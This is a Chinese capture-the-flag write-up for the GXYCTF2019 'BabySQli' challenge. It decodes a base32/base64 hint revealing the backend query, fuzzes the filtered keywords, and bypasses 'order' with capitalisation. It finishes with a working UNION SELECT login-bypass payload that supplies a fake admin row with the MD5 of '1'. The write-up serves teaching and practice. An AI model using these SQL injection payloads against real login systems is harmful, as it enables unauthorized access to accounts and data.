[GXYCTF2019]BabySQli
题目描述:
buu上的,题目链接
解题过程:
首先试了试,发现有提示
MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5
先进行base32解码,得到
c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==
再进行base64解码,得到提示
select * from user where username = '$name'
好了,有了提示,然后fuzz一下,发现了一些东西
发现or,order,information_schema被过滤,但是order可以通过Order来进行绕过。
name=admin'&pw=1 报错
name=admin'#&pw=1 回显wrong pass
通过
name=admin' Order by 4#&pw=1
回显:Error: Unknown column '4' in 'order clause'.
而
name=admin' Order by 3#&pw=1
回显:wrong pass
可知字段数为3
接下来就是本题的考点了
本题考点:联合查询所查询的数据不存在时,联合查询会构造一个虚拟的数据
本地复现:
首先创建一个库,里面有users这个表,先写进几个初值,
然后进行联合查询
会有这样的结果,但是如果你再次刷新该库,数据并没有保存。(我认为这就是大佬们说的构造虚拟的数据,如有错误,欢迎指正)
name=1' union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'#&pw=1
其中'c4ca4238a0b923820dcc509a6f75849b'是1的md5加密值。
相关链接:
1.发现了Y1ng师傅的博客地址